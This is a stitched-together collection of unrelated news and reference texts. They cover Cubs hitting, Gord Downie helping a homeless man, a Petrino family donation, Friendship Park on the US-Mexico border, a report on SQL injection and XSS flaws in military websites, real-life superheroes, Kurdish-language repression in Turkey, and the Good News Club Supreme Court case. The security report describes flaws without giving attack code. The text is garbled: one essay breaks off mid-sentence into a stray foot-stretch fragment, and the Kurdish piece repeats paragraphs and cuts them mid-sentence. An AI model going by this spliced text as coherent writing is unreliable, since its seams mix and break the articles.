But the Cubs are tied for fifth in the National League with a.258 team batting average this season -- hardly indicative of an offensive juggernaut averaging 5.1 runs per game, second in the league only to the Rockies.
In nearly 32 percent of their plate appearances, the Cubs aren't putting the ball in play. In fact, Chicago ranks 28th in the Majors in the percentage of pitches they put in play, at 16.8. When they do so, they rank in the upper third of the NL for highest soft contact percentage, at 19.4 percent per Fangraphs. And they're in the bottom half of the league (9th) in hard contact, at 31.2 percent.
So how are the Cubs scoring five runs a game?
They're learning to become more like Zobrist.
"It's almost like he swings at every strike that he wants to, and takes every ball that he wants to," said Kris Bryant, who has bolstered his candidacy for the NL Most Valuable Player award by hitting.441, with four home runs and 12 RBIs over his last eight games. "It's unbelievable watching that, and I can learn a lot from him."
The Cubs are walking in 10.4 percent of their plate appearances so far this season. If they were to finish the season at that rate, it would be the highest in baseball since 2010, when the Rays walked 10.7 percent of the time. There's a connection there: Cubs manager Joe Maddon helmed that Rays team, as well as the Tampa Bay clubs that led the Majors in walk rate two of the next three seasons.
A key piece on those Rays teams? Zobrist.
"It was definitely a point of emphasis coming into this season," said Zobrist, who leads the Cubs with a 14.4 percent walk rate. "We knew that last year this team didn't do a good job of that -- we were striking out too much, not putting the ball in play enough, not walking as much as we should have. And I think with some of these guys just maturing as hitters, we're seeing them start walking more. Adding guys like myself and Jason Heyward to the lineup, who tend to take our walks and put the ball in play more, I think that helps that as well."
Heyward is in the midst of the worst offensive season of his career. The former All-Star, whom the Cubs signed to an eight-year, $184 million contract this offseason, entered Monday's game at San Diego batting.225/.304/.313 with five home runs and 32 RBIs in 458 plate appearances. He was benched following last Wednesday's game vs. Milwaukee, with Maddon giving him a mental break for a few days before reinserting him back into the lineup Monday.
With Heyward slumping, no player on the roster currently batting.300 or better and a strikeout total that's still higher than they'd like, the Cubs are nevertheless terrorizing opposing pitching. The walk rate is a big part of that -- Zobrist, Bryant, Dexter Fowler, Anthony Rizzo and Addison Russell all have walk rates above 10 percent, and both Russell and Jorge Soler have upped their walk rates by more than two percent over last year -- but there's more to it.
The Cubs'.281 batting average when leading off an inning is 23 points higher than their overall season average. That's second in baseball only to the Pirates'.288. Chicago's batting average leading off an inning in 2015 was.246.
"I think there is a different approach (when we're leading off an inning)," Bryant said. "I think that's kind of why we've had a lot of success this year. You're telling me all these numbers, and I find myself during the game seeing a lot of the leadoff guys on base, and those numbers validate everything that I'm seeing."
Bryant's batting average leading off a frame is 38 points higher than his overall season average, at.337. Zobrist's is 55 points higher, at.333. Fowler leads the club, batting.340 in leadoff situations -- his overall batting average this season is.279.
"Once a person gets on, a person gets a hit, they go two bags from first to third, it kinda gets you amped up," said Russell. "It just keeps going, and we know that when anyone gets on at any point of the game, there's a good chance we'll push that run across."
The Cubs have hit 158 home runs this season, tied with Colorado for fourth in the NL. But they're also tied with the Rockies for the league lead when it comes to roundtrippers with men on base, with 69 (the Rockies hit their 69th on Sunday at Chicago's expense). The more plate appearances with men on base, the higher the probability of balls leaving the park resulting in more than one run.
Another area in which the Cubs excel is avoiding the double play. Entering play Monday, Chicago had been in 1,006 scenarios this season in which a ground ball could have resulted in a double play, the most in the Majors. And the result was a ground-ball double play in just 8.3 percent of those situations, lowest in the Majors.
With the Cubs averaging nearly a run more per game this season than they did in 2015, when they reached the National League Championship Series, the scary prospect for the rest of the league is this: If Heyward, who homered in his return to the lineup Monday, gets going and Zobrist heats up again like he did in May (.406 batting average), the Cubs could start scoring at an even higher clip as they blitz their way toward their best record in over a century.
Whatever happens this October -- whether a 108-year World Series title drought ends at long last, or becomes a 109-year drought -- the youth at the core of the Cubs' lineup is only getting better in all facets.
And they can thank a certain patient veteran for that.
***
Manny Randhawa is a reporter for MLB.com and a contributor to Sports on Earth. Follow him on Twitter @MannyRsports.Many Canadians have been sharing memories and stories in the wake of Gord Downie’s death Tuesday night.
For most, the impact of Downie’s music as lead singer of The Tragically Hip is what stands out. But for Cody Kuchirka, Downie’s legacy is more personal.
Kuchirka now spends about six months of the year living in Saskatoon. Ten years ago, he was living homeless on the streets of Toronto.
In an interview with C95’s Shauna Foster, Kuckirka said he still remembers a man approaching him as he sat out in the cold one night in the middle of winter.
“This guy comes up to me and he’s like, ‘Hey, would you like a coffee?’”
Kuchirka said he and the man sat and chatted for a bit, with the stranger then offering him a meal.
“He treated me like a human when most people would just pass me by, try to ignore me.”
Then, Kuchirka said the man asked him if he was a Tragically Hip fan, and gave him tickets to the band’s show.
Kuchirka said he and his girlfriend got quite the surprise after they arrived at the concert.
“All of a sudden, the guy who gave me the tickets and the food and the coffee goes on stage and starts singing for the Tragically Hip.”
Kuchirka said Downie did something even better than provide a full stomach and evening of entertainment.
After the show, Downie connected him with a friend of his who ran a construction company. That connection led to a job that helped Kuchirka turn his life around.
Kuchirka said the news of Downie’s death caused him to reflect on that night.
“It blew me away that it was actually Gord Downie who took time out of his life to sit down and get to know who I am,” he said.
Kuchirka said he’ll always be thankful for the chance meeting with a Canadian rock legend.
“This is a person who changed my life forever and he’ll be missed.”The Petrino Family Foundation, established by Louisville football coach Bobby Petrino and his family, has donated more than $1 million.
Grants were given to the Kosair Children's Hospital Trauma Program, a scholarship program for students, and the Louisville marching band.
"As a family, we felt strongly that our first grants should reflect our commitment to this city and the University of Louisville," Petrino said.
The Petrino Family Foundation has donated more than $1 million to the Kosair Children's Hospital Trauma Program, a scholarship program for students, and the Louisville marching band. AP Photo/Timothy D. Easley
The first grant is $1 million to support the Children's Hospital Foundation through the Trauma Program at Kosair Children's Hospital. This grant will establish the Petrino Family Trauma Room in the emergency department.
"Kosair Children's Hospital serves children throughout Kentucky and Southern Indiana, making it a true asset to this state and region," said Kelsey Petrino Scott, Executive Director of the Petrino Family Foundation. "The number of children needing emergency and trauma care is just staggering. Providing this level of care requires resources such as specialists to provide the care and the equipment that will fit the smallest infant to the adult-sized teenager. We're happy we could help ensure that this care continues."
In addition to Kosair Children's Hospital, the Petrino Family Foundation established the Petrino Family Foundation Scholarship, which will fund a Cardinal Covenant Scholarship. In 2007, the University of Louisville initiated a special program called the Cardinal Covenant in response to college costs and the challenge for students from low-income families to fund their education. The University of Louisville's Cardinal Covenant is the first program of its kind in the state of Kentucky. This program will make college attainable for the 22.6% of Kentucky families living at or below 150% of the federal poverty level as published by the U.S. Census Bureau (Data obtain from the U.S. Census Bureau).
The University of Louisville will make a promise to incoming freshmen who meet the following criteria to award enough gift assistance from federal, state, private, and institutional sources to cover their direct costs (tuition, room, board, and books). Students will be able to graduate debt free as long as they graduate within four years and remain Pell Grant eligible each year.
Also, the Petrino Family Foundation will provide a donation toward the purchase of brand new uniforms for the University of Louisville Marching Band.Friendship Park used to be one of the very few places along the United States-Mexico border where people could meet face-to-face. That changed after Sept. 11, 2001.
San Diego's Friendship Park, or Border Field State Park, is tucked into the extreme southwest corner of the United States and the extreme northwest of Mexico, with fields on the U.S. side, the city of Tijuana on the other, and the blue Pacific Ocean to the west. The park itself is tiny, bisected neatly through the middle by the border wall.
Friendship Park used to be one of the very few places along the United States-Mexico border where people could meet face-to-face. First, there was no border marker, and then there was just a fence and a monument; for years after that, only a chain link fence separated the two sides, which allowed visitors in each country to speak together, pray, sing, or just hold hands across the border. Gardeners on the U.S. side planted flowers at the fence, and a gardener in Tijuana helped water them.
That changed after Sept. 11, 2001. In the intervening years border security became tighter, and more fences went up. Finally, in 2009, Homeland Security closed down Friendship Park entirely, saying they needed to construct a new fence to discourage drugs and weapons smugglers before it re-opened.
Whether or not it would ever be accessible to the public again was a matter of debate. While it was possible to ask Border Patrol agents to open the primary gate so people could go up to the fence, those requests were not always granted. At one point, Homeland Security agreed to re-open the park, but with a third fence keeping people several feet away from the actual border.
Now, after negotiation and public pressure from activist groups, the public can once again enter the park and talk to people directly through the fence -– although it has changed. The tattered chain link has become a thick, dense mesh that is difficult to see through. Instead of holding hands, people can just barely touch the tips of their fingers through openings in the steel wire.
People on the Mexican side of the border, out for a morning stroll, stopped to chat with the small group of people on the San Diego side of the border. Closer to the ocean, a man in Tijuana named German Castañada, visible only as a shadowy figure, leaned into the fence, hands cupped against his face, to talk quietly to his two young children and their mother on the San Diego side.
“I haven't seen my kids in three years,” Castañada said. “I got kicked out of the country.” He said he had been in the United States since he was 4 years old.
“If I would have known, I would have tried to fix my papers. I don't have anybody over here, technically -– my whole family's out there.”
Castañada said because he was deported, he has to wait at least a decade to reapply for a visa, with no guarantee it will be granted.
Architect Jim Brown, who headed the redesign of the park to allow people to meet face-to-face without compromising border security, is a member of a group called Friends of Friendship Park, which successfully petitioned for its re-opening. Brown said the park is designed for flexibility, so that if border security is ever eased the fences can be scaled back for greater access.
“We make no claims that this is a beautiful park,” Brown said. “It's a horrendous park in some ways. But it's a symbol, a really important symbol, of friendship between the citizens of two countries.”
For people like German Castañada, whose children can only see him as a shadowy figure behind a fence, it's not the same as making a life with his family -– but as Castañada said, it's better than nothing.
To view PDF documents, Download Acrobat Reader.Image: U.S. Army photo by Sgt. 1st Class Andrew Kosterman
How secure are the websites and servers of the US military? According to an independent security researcher, who found several "serious" flaws in a bunch of.mil sites, the answer is "not so much."
The flaws show that the the Department of Defense is failing to take care of basic cybersecurity, and that its public facing sites and employee portals are still trivial to hack, according to experts.
According to the researcher, who goes by the name MLT, the worst vulnerability was in a subdomain of the website of the Defense Contract Management Agency, a military agency responsible for contract administration services. The bug essentially allowed hackers to trick the site into revealing the contents of a database containing personal information on DoD employees, such as employees' names and home addresses.
"It's not a good thing—at all—for such an easy to find and easy to fix problem exist in a high risk site."
MLT didn't exploit the bug, but given the website it was on, and some data he was able to see without hacking the site, it seems like a malicious attacker could have abused it to steal very sensitive and personal data.
"I can't confirm that without actually exploiting it," MLT told me over an online chat. "But from the table names and the government warnings all over the site, I'd guess that's the kind of page that shouldn't be vulnerable to SQL injection."
SQL injection, or SQLi, is an extremely common but dangerous bug that allows hackers to trick websites into spilling database information. (For more on SQLi, read Motherboard's guide.) Despite being an ancient bug, and despite the fact that web developers should know how to prevent it, countless sites are vulnerable to it, and it still causes major breaches. The fact that a military site was vulnerable to it is certainly not good news.
"SQL injection in a military site is a very, very, very serious issue." Jim Manico, a board member of the Open Web Application Security Project, told Motherboard in an email. "It allows the attacker to steal all data from a database. It's not a good thing—at all—for such an easy to find and easy to fix problem exist in a high risk site."
For MLT, the danger was that someone with less friendly intentions could have used this to get the personal information of DoD employees, who could then be targeted both on the internet and in real life.
"What if some blackhats found this vulnerability and exploited it, and are now in possession of the personal information of a bunch of DoD employees?" MLT wrote in a blog post. "Judging from those warnings on the index page, I expected them to take their site security at least somewhat seriously."
"I'm quite certain they are vulnerable to far more than what MLT found. That should make every American and every ally nervous."
MLT reached out to Motherboard about this and other vulnerabilities at the end of November. After finding the flaws, MLT tried to report them to the Pentagon via email, but received no answer. That's when he reached out to me, hoping I could prod the Pentagon to fix the issues. At that point, I contacted a person who used to work at DoD, hoping he could convey the report to the right people.
My contact said he passed the report on, but didn't know whether the Pentagon acted on it. Several spokespeople for the Department of Defense and the Army did not respond to multiple requests for comment. In any case, the SQLi exploit on the Defense Contract Management Agency site was fixed around a week ago, according to MLT.
MLT found several other vulnerabilities, which he detailed in a blog post published on Monday.
One of the bugs allowed anyone to access a US Army server just by typing the right string of characters in a browser's URL bar. MLT also found a list of credentials in cleartext on a page within another Army website. One of the passwords was "mysecretpassword."
Lastly, the researcher also found around a dozen Cross Site Scripting, or XSS, vulnerabilities, which are also extremely common on the web. In fact, 80 percent of all sites have an XSS vulnerability, according to estimates web security firm WhiteHat Security.
Given the US military's footprint on the web, and its outdated systems, "it is completely unsurprising that the military is vulnerable to all of these attacks," according to Robert Hansen, who works at WhiteHat Security. "Truthfully, I'm quite certain they are vulnerable to far more than what MLT found, even."
Still, "that should make every American and every ally nervous," he concluded.I am obsessed with Batman — severely, disgustingly obsessed.
I’ve steadily been burning through the comics for years now. I have donned the cowl on more Halloweens than I haven’t, and indulged in the rubber nipple fest that is Batman & Robin more than I should have.
About the only thing I haven’t done in my fevered love for Batman is actually go out and seek vigilante justice, which is surprising because part of my fascination with Batman stems from his relative grounding in reality. He’s not an invincible fancy boy like Superman. He’s troubled and traumatized — void of superpowers and mortal.
I’ve thought about it though — thought about whether it would be possible to do as Batman has done.
I resolved that it would be extremely difficult, if not next to impossible because a slew of variables would have to come together — the money, the genetics, the all-consuming drive. Outside the world of make-believe, I figured it just couldn’t be done, which is why I was shocked to find-out it was being attempted.
People are dressing-up — not necessarily as Batman but nonetheless dressing-up — in an attempt to fight crime.
In the perilous world, the real world outside comic book panels and movie frames, there exist people who dress-up in homemade suits — complete with utility belts equipped with mace — even when it’s not Comic-Con or Halloween.
They break-up fights and give-out sandwiches to the homeless. They even send drug dealers scattering from public places by approaching them, surrounding them and drawing attention to them with chants — “This is a drug-free park” — and noise.
These individuals are deemed “real-life superheroes,” and they have two big groups in separate cities. One group, called the Rain City Superhero Movement, is based in Seattle, and, the other group is called the New York Initiative.
The real-life superhero most dominating the media is Phoenix Jones, the leader of the Rain City Superhero Movement. While there are many others real-life superheroes, Phoenix Jones — sporting his gold and black rubber suit — has managed to become the poster-boy for the self-styled superhero movement.
Ironically enough, I first heard about Phoenix Jones when I came across a news story in October of 2011 regarding his arrest.
Apparently, Phoenix Jones unleashed a can of pepper-spray in an attempt to break-up a fight, but the group pressed charges against him for assault. The entire spectacle was caught on a cell-phone camera, and made the rounds on YouTube.
In the end prosecutors did not file charges against him.
While in court Phoenix Jones was forced to remove his mask, revealing his secret identity — 23 year old Benjamin John Francis Fodor. Fodor donned the mask to exit the courtroom as Phoenix Jones, only to dramatically take it off again once outside and reveal his identity to the public.
Phoenix Jones also has a fan page on Facebook with nearly 41,000 “likes”, where he posts daily updates about his adventures fighting crime.
At first I couldn’t believe any of it, but there was a lot of information readily available.
I found websites dedicated to the real-life superhero phenomenon, news stories, magazine articles, video interviews and my favourite — message boards filled with self-stylized superheroes trading tips, stories of their exploits and even gossip about others in their community.
Sure it’s not quite Batman vs. the Joker, but I found it to be strange and charming like any other subculture.
There are critics of the movement who claim real-life superheroes are narcissistic, because if they wanted to be |
. Then reposition the foot slightly so only the tops of the toes are resting on the ground and push the foot directly downward.
Get engaged. Place the ball of the foot on the ground and push the toes down and top of the foot forward, as if standing on the tippy-toes. (Just keep weight on the opposite foot— no need to actually stand on those tired tootsies). Stretches that engage the tendons along the bottom of the foot have been shown to help relieve plantar fasciitis, which can be caused by unsupportive footwear.Supporters of the pro-Kurdish Peoples’ Democratic Party (HDP) chant slogans during an attempted march in Istanbul that was dispersed by police, October 30, 2016. (AP Photo / Emrah Gurel)
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T he space in the office is cramped. The walls are adorned with posters of sports cars and advertisements for insurance companies. Books cover the tables. Sami Tan, a linguist and a lecturer of Kurdish, apologizes for the improvised setting and the lack of more comfortable chairs. After the Turkish government shuttered the Kurdish Institute in Istanbul—an association that has taught and promoted Kurdish-language study for nearly 25 years—he and the other staff have moved into the available offices of a driving school in the same building.
“We used to have two classrooms and a library,” Tan says apologetically. “Now things are a bit more uncomfortable.”
“Uncomfortable” is an understatement. The situation for many civil-society organizations has become downright precarious. On the night of December 31, 2016, 94 associations, including the institute, were shut down on allegations of “connections to terrorist organizations.” A month later, the authorities confiscated all documents, course materials, and hardware—computers, two projectors, a TV—as well as the school’s furniture. The institute’s website was taken down. In theory, the institute has the right to appeal the shutdown through a state-appointed commission, but human-rights organizations such as “Uncomfortable” is an understatement. The situation for many civil-society organizations has become downright precarious. On the night of December 31, 2016, 94 associations, including the institute, were shut down on allegations of “connections to terrorist organizations.” A month later, the authorities confiscated all documents, course materials, and hardware—computers, two projectors, a TV—as well as the school’s furniture. The institute’s website was taken down. In theory, the institute has the right to appeal the shutdown through a state-appointed commission, but human-rights organizations such as Amnesty International have criticized it as insufficient, as more than 100,000 cases are pending review by just seven commissioners within a two-year deadline. “In any case, the things they took from the institute have already been given to pro-government institutions,” Tan says. And tens of thousands of Turkish lira were lost.
“We never thought we would reach a point at which our schools would be shut down.” —Sami Tan, linguist and lecturer of Kurdish
Founded in 1992, the institute became the foremost promoter of Kurdish-language education and standardization during a period of intense and violent repression of the Kurdish minority. But even Tan, who has been tried several times for his work both as a journalist and as a linguist of a criminalized language, is surprised by the return of such repression. “We never thought we would reach a point at which our schools would be shut down,” he says.
Even though they were never explicitly banned, Kurdish language and culture have been de facto criminalized since the earliest years of the Turkish Republic. The current Constitution, ratified after the military coup of 1980, recognizes only Turkish as the country’s official language, thus limiting the possible use of local minority tongues. From 1983 until 1991, when Turgut Özal legalized the use of Kurdish in broadcasting and publishing, the speaking of Kurdish in public was outlawed, and people were arrested for even so much as the possession of a Kurdish-music cassette. Under the ruling Justice and Development Party (AKP) of Turkish President Recep Tayyip Erdogan, many restrictions on Kurdish were loosened as part of the so-called “Kurdish Opening,” first announced by his government in 2009.
But now the repression is back. Following the coup attempt of July 15, 2016, Erdogan declared a state of emergency, enabling him and the AKP cabinet to bypass Parliament and rule by decree. The post-coup crackdown, nominally limited to alleged sympathizers of US-based cleric Fethullah Gülen, whom the AKP-government blames for the attempted putsch, has turned into a witch hunt targeting all opposition, including Kurds.
According to the International Crisis Group, almost 3,000 people have been killed over the past two years, of whom more than 400 were civilians.
In March the institute was reopened as the Kurdish Research Institute. The similarity of the name, registered with the authorities, is no accident, according to Tan. Does he expect another raid? Tan shrugs. “This is Turkey,” he says. “You never know.” Since early October, the institute has begun offering classes again, both in Kurmanji, the main Kurdish dialect in Turkey, and in Zazaki, a minority language related to Kurdish. Some 150 people are attending, but Tan says “those who come to the courses now must be courageous.”
Repression against Turkey’s Kurdish minority has returned since the breakdown of a three-year peace process in the summer of 2015, when Kurdish activists announced local administrative autonomy for several Kurdish cities and districts, including Sur, the historic center of the predominantly Kurdish city of Diyarbakir. Ankara, unnerved by the possibility of Kurdish self-rule along Turkey’s borders with Syria and Iraq, both of which have Kurdish populations, Repression against Turkey’s Kurdish minority has returned since the breakdown of a three-year peace process in the summer of 2015, when Kurdish activists announced local administrative autonomy for several Kurdish cities and districts, including Sur, the historic center of the predominantly Kurdish city of Diyarbakir. Ankara, unnerved by the possibility of Kurdish self-rule along Turkey’s borders with Syria and Iraq, both of which have Kurdish populations, responded with a ferocious crackdown, imposing blanket curfews for months all across the region. Turkish security forces deployed tanks and heavy artillery against armed militants, who dug trenches and set up booby traps. Local residents were caught in the crossfire. According to the International Crisis Group, almost 3,000 people have been killed over the past two years, of whom more than 400 were civilians.
The violent conflict has laid waste to The violent conflict has laid waste to entire towns and neighborhoods, displacing more than half a million people. In Sur, one of two bilingual pre-schools was destroyed during the clashes. Both were part of the “Zarokistan” project, a network of pre-schools that offered activities and classes in English, Kurmanji, and Zazaki, and had been supervised by experts such as linguist and academic Serif Derince. In Diyarbakir alone, Derince says, “around 1,000 children from poor families were able to attend these pre-schools free of charge.” Twenty more were opened across the Kurdish region in 2015. But those that were not destroyed by missiles and bombs became the victim of the increasingly anti-Kurdish politics of the Turkish government—all have been shut down, destroyed, or “Turkified.”
Based on a string of emergency decrees passed since July 2015, scores of Kurdish media organizations, associations, language schools, and cultural institutions have been shut down. Even a children’s TV channel that translated cartoons such as SpongeBob SquarePants and The Smurfs into Kurdish was taken off air temporarily. Across the region, the AKP government has removed the elected mayors of more than 90 Kurdish-run municipalities and replaced them with “trustees.” Dozens of pro-Kurdish politicians have been arrested on terrorism charges.
“We are Kurds, we live in Diyarbakir. For us it’s self-evident that our children should learn Kurdish.” —Ahmet, human-rights activist
For Ahmet, a human-rights activist from Diyarbakir, the renewed crackdown on Kurdish-language rights has been vicious. Having rallied for mother-tongue education for years, Ahmet (a pseudonym; he doesn’t want his real name to be published for fear of reprisal) sent one of his children to a Zarokistan pre-school. “We are Kurds, we live in Diyarbakir,” he says. “For us it’s self-evident that our children should learn Kurdish.” He rejects the government’s attempts to label these early-education institutions as “criminal” and their employees as “terrorist supporters.” “I went there a lot, talked to the teachers, and made sure that the language program did not amount to Kurdish nationalist indoctrination,” he explains. “The classes were excellent.” For years Ahmet has criticized both the Turkish government’s brutal assimilation policies and the violence of the Kurdistan Workers’ Party (PKK), which has fought an off-and-on, decades-long insurgency against the Turkish government. “But,” he points out, “it is the government that politicizes language education.”
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Article 42 of the Turkish Constitution states that no language other than Turkish can be taught as a mother tongue to Turkish citizens. Even teachers in the Kurdish region are banned from speaking Kurdish in class—even if none of their pupils speak Turkish. For years experts have warned of the consequences of such policies. Research shows that Kurdish students who are educated in a language they do not fully understand suffer communication problems, trauma, feelings of exclusion, and shame. They are less likely to succeed in school, and more likely to drop out early.
In 2012, hoping to woo Kurdish voters, the AKP started to pass reforms that granted greater freedoms to minority-language education. For the first time in the country’s history, Kurdish as an elective was legalized in high schools. Two years later a law change allowed for election campaigning in languages other than Turkish and for the foundation of private minority-language schools. Interest in Kurdish classes soared.
“Even police officers came to our classes, because they simply wanted to learn their mother tongue,” Sami Tan says. “We never asked party affiliations. Everyone was welcome here. But now the AKP is trying to criminalize Kurdish language and culture again. That’s why many people are afraid to come to our classes.” Some instructors and students of the institute have been fired from their jobs for terrorism allegations, Tan said.
In Diyarbakir, the state-appointed trustees fired all Zarokistan teachers—“on February 21, the International Mother Language Day,” Derince says dryly. Since then, all activities have been conducted in Turkish only. Trustees across the region removed many street signs, statues, and place names commemorating Kurdish heroes. In some cities where official communications had been offered in several regional languages such as Assyrian, Arabic, or Armenian, only Turkish, and sometimes Kurdish, remained.
In Bitlis, a project led by the pro-Kurdish Peoples’ Democratic Party (HDP) to open a library in the birthplace of well-known Armenian-American writer William Saroyan was canceled by the new administration. A quadri-lingual kindergarten in Mardin, a city close to the Turkish-Syrian border, was shut down, and the public official in charge of it was arrested.
In the Istanbul institute, which has once again become a pioneer in supporting Kurdish-language rights, Sami Tan and his colleagues do not want to give up. “Society has changed,” says Tan. “Now there are social media, satellite TV, Kurdish news channels broadcasting from outside of Turkey. It’s much easier to find out what is going on. The clock cannot simply be turned back.” He smiled. “The Kurdish language has overcome so many obstacles. It will overcome these times, too.”United States Supreme Court case
Good News Club v. Milford Central School, 533 U.S. 98 (2001), held that when a government operates a "limited public forum," it may not discriminate against speech that takes place within that forum on the basis of the viewpoint it expresses—in this case, against religious speech engaged in by an evangelical Christian club for children.[1]
Facts [ edit ]
Under New York law, public schools may adopt regulations under which they open their facilities to public use during non-school hours. In 1992, Milford Central -School adopted regulations under this law, allowing district residents to use the school for "instruction in any branch of education, learning, or the arts," and making the school available for "social, civic, and recreational meetings and entertainment events, and other uses pertaining to the welfare of the community, provided that such uses shall be nonexclusive and shall be opened to the general public."
The Fourniers, who reside in the district, applied to use the Milford Central School for meetings of a Good News Club. Their proposed use—to have "a fun time of singing songs, hearing a Bible lesson and memorizing scripture"—was deemed to be the equivalent of religious worship, and the Fourniers' application was denied on that basis; the school also claimed that its community use policy forbade use "by any individual or organization for religious purposes." The Fourniers contacted the school superintendent stating that they did not believe it was lawful for the school to allow other groups to use the school building, yet because they were religious in nature, teaching morals and values from a Christian perspective, they were denied access. The school concluded that "the kinds of activities proposed to be engaged in by the Good News Club were not a discussion of secular subjects such as child rearing, development of character and development of morals from a religious perspective, but were in fact the equivalent of religious instruction itself." The full school board rejected the club's application to use Milford's facilities.
The Fourniers and the Good News Club filed suit in the United States District Court for the Northern District of New York under 42 U.S.C. § 1983 against the school. The club alleged that the school's denial of its application violated its free speech rights under the First Amendment, as well as its right to religious freedom under the Religious Freedom Restoration Act. The club won a preliminary injunction allowing it to conduct its meetings at the school from April 1997 to August 1998. In August 1998, however, the district court ruled against the club, finding that the club's "subject matter is decidedly religious in nature, and not merely a discussion of secular matters from a religious perspective that is otherwise permitted" by the school.[2] Because the school forbade all religious instruction under its policy, the court ruled that it was not engaging in unconstitutional viewpoint discrimination.
The club appealed to the Second Circuit. The Second Circuit affirmed, holding that the school's restriction was not unreasonable.[3] In light of the "quintessentially religious" nature of the club's activities, the court further held that the school district was engaging in "constitutional subject discrimination" rather than "unconstitutional viewpoint discrimination" when it excluded the club from meeting on its premises. In light of a split among the federal appeals courts regarding whether speech may be excluded from a limited public forum by reason of its religious content, the U.S. Supreme Court agreed to review the Second Circuit's ruling in this case. Thomas Marcelle represented the Good News Club at oral argument, and Frank Miller represented Milford Central School.[1]
Majority opinion [ edit ]
When the government establishes a "limited public forum," it is not required to permit any and all speech within that forum. It may "reserve its forum for certain groups or for the discussion of certain topics". However, the government may not discriminate against speech on the basis of its viewpoint, and any restriction it imposes must be reasonable in light of the purpose served by the forum.[1]
The Court saw no distinction between the viewpoint discrimination in this case and the viewpoint discrimination in two of its earlier cases: Lamb's Chapel v. Center Moriches Union Free School District, 508 U.S. 384 (1993),[4] and Rosenberger v. University of Virginia, 515 U.S. 819 (1995).[5] In Lamb's Chapel, the Court held that a school district violated the First Amendment's Free Speech Clause when it excluded a private group from presenting films at the school solely on the basis of the religious perspective of the films on family values.[4] And in Rosenberger, the Court held that a university's refusal to fund a student publication because of that publication's religious perspective violated the Free Speech Clause.[5] Milford's exclusion is indistinguishable from the exclusions at issue in Lamb's Chapel and Rosenberger, and so the Court did not need to decide "whether it is unreasonable in light of the purposes served by the forum."
"Milford has opened its limited public forum to activities that serve a variety of purposes, including events pertaining to the welfare of the community." Milford had asserted before the Second Circuit that it would have allowed a public group to use Aesop's fables to impart moral values to children. Milford also allowed the Boy Scouts to "influence a boy's character, development, and spiritual growth". Likewise, the Good News Club also sought to teach moral values to children, albeit from an explicitly Christian viewpoint.
According to the majority, the Court's prior decisions in Lamb's Chapel and Rosenberger determined the outcome of the Good News Club's free speech claim. In Lamb's Chapel, the Court had ruled that a different New York public school had engaged in unconstitutional viewpoint discrimination when it forbade a religious group from using its facilities to show films that taught "family values from a Christian perspective". It saw no difference between the films that the religious group in Lamb's Chapel proposed to show and the songs and lessons the Good News Club used in this case. And in Rosenberger, the fact that a state university subsidized the publication of some student newspapers but refused to subsidize a student newspaper with a religious viewpoint was also unconstitutional viewpoint discrimination.
In spite of these decisions, the Second Circuit had ruled in this case that the religious nature of the Good News Club's message meant that it "fell outside the bounds of" speech related to "pure moral and character development", and hence was not entitled to First Amendment protection. The majority on the Supreme Court "disagreed that something that is 'quintessentially religious' or 'decidedly religious in nature' cannot also be characterized properly as the teaching of morals and character development from a particular viewpoint. What matters for purposes of the Free Speech Clause is that we can see no logical difference in kind between the invocation of Christianity by the Club and the invocation of teamwork, loyalty, or patriotism by other associations to provide a foundation for their lessons." Instruction related to morals and values from a religious perspective does not somehow "taint" that instruction so as to alter the viewpoint such instruction takes. Accordingly, Milford's exclusion of the Good News Club constituted unconstitutional viewpoint discrimination.
The Establishment Clause claim [ edit ]
Milford also argued that its interest in not violating the Establishment Clause justified its excluding the Good News Club from its facilities. In Widmar v. Vincent, 454 U.S. 263 (1981), the Court held that "a state interest in avoiding an Establishment Clause violation may be characterized as compelling, and therefore may justify content-based discrimination" on the part of the state entity.[6] But in Lamb's Chapel, the Court left open the question of whether such a concern could also justify viewpoint discrimination. The Court ruled that it could not, and gave four reasons for distinguishing content-based discrimination from viewpoint discrimination on this score.
First, the exception created in Widmar rested on the fact that the government program was neutral toward religion. "The Good News Club seeks nothing more than to be treated neutrally and given access to speak about the same topics as are other groups." Milford's policy was not neutral with respect to religious speech—it allowed some speech that took a particular viewpoint, but forbade speech that took the same viewpoint on the basis of the religious nature of the speech.
Second, to the extent the Club's speech would be perceived as coercive, that coercion would be felt by the parents rather than the children. After all, parents must give their children permission to attend the Club's activities. Milford did not suggest that the parents would be confused about the religious nature of the Club's message.
Third, and relatedly, the Court's Establishment Clause jurisprudence never "extended... to foreclose private religious conduct during nonschool hours merely because it takes place on school premises where elementary school children may be present." In Lee v. Weisman, 505 U.S. 577 (1992), the religious speech involved was a prayer at a mandatory high school graduation function.[7] In Santa Fe Independent School District v. Doe, 530 U.S. 290 (2000), the religious speech involved was a student-led prayer before a high school football game which, of course, is a school-sponsored event.[8] In Edwards v. Aguillard, 482 U.S. 578 (1987), the religious speech involved was a prohibition on teaching evolution in public school science classes.[9] Unlike these three cases, the religious speech at issue in this case took place after school and not during a school-sponsored event.
Fourth, the children required their parents permission to attend the Club's activities; they were not permitted to "loiter outside classrooms after the schoolday has ended". The Club was using space on the school grounds into which elementary school children did not typically venture during school hours, and elementary school students of all grade levels attended the Club's activities. The instructors are not schoolteachers. The Court doubted that even small children would perceive that the school was endorsing religion in these circumstances, and that doubt was even more attenuated by the fact that the children were just as likely to perceive official condemnation of religion from the school's excluding the Club from its facilities.
All these considerations suggested that there was no Establishment Clause violation involved in Milford's permitting the Club to meet on its premises after school hours. Accordingly, Milford's fear of an Establishment Clause violation did not justify forbidding the Club from using its facilities.
Scalia's concurring opinion [ edit ]
Justice Scalia concurred in the Court's opinion, but wrote separately to express his own views. He did not believe that the Club's activities were coercive at all. "As to endorsement, I have previously written that religious expression cannot violate the Establishment Clause where it (1) is purely private and (2) occurs in a traditional or designated public forum, publicly announced and open to all on equal terms. The same is true of private speech that occurs in a limited public forum, publicly announced, whose boundaries are not drawn in favor of religious groups but instead permit a cross-section of uses." Milford could not justify excluding the Club simply because its speech was religious in nature, and so Scalia did not worry whether the discrimination was content-based or viewpoint-based. In any event, Scalia stressed that Milford was engaging in viewpoint discrimination.
Breyer's concurring opinion [ edit ]
Justice Breyer disputed the majority's assumption that the perception of the children was irrelevant. Even in Lamb's Chapel, the Court had relied in part on the perception of the children in determining whether there had been an Establishment Clause violation. "The critical Establishment Clause question here may well prove to be whether a child, participating in the Good News Club's activities, could reasonably perceive the endorsement of religion" on the part of the school. Breyer pointed out that the Court's decision merely overturned a grant of summary judgment in favor of Milford, and denying summary judgment to one party was not the same as granting it to the other party. Denials of summary judgment simply mean that there are "genuine issues of material fact" that require a trial. The extent of the coercion perceived by the children was, in Breyer's view, one such issue.
Dissenting opinions [ edit ]
